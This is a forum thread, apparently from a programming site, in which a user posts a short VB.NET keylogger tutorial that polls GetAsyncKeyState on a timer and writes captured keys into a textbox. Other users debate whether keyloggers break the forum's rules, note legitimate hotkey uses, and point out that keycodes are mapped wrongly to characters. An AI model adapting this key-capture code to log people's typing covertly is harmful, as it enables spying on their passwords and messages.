Breadcrumbs

[MANSQN]

Requirements: 1 Form, 1 TextBox & 1 Timer.

1: Set Timer Enabled Property to True and change it's interval to 1

2: Add the following Code

Code: Select all

Public Class Form1

Dim key As Integer

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Timer_Tick event:

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick

For i = 1 To 255

key = 0

key = GetAsyncKeyState(i)

If key = -32767 Then

TextBox1.Text = TextBox1.Text + Chr(i)

End If

Next i

End Sub

-Thanks-

[M1z23R]

Welcome to CnS )
And, btw, keyloggers are considered as hacks, and this forum doesn't allow hacks/cracks...etc
Have fun here
Nice other tuts cooll;

[Cheatmasterbw]

Nice tutorial, and welcome to the site!

Keyloggers are not always hacks. They could be used in programs to detect special short key stroaks (like Windows Key and a letter).

[Bogoh67]

agreed but you dont have to use a keylogger and yea welcome to the forums
and for future references use

Code: Select all

[MANSQN]

Thansk everyone just found the site last night n its a great lil site.

[mandai]

In many cases a keycode is not the same as a character, also if your keyboard has less than 255 keys then the code should be changed.

[Usman55]

I bet you didn't read the rules! BTW, you make nice tuts!

[Livengood]

Theres a better way to control the keys btw.

[clanc789]

Dont bump please... the last post was 18 september 2011 and you post it at 24 oct 2011 which is 35 days -.-"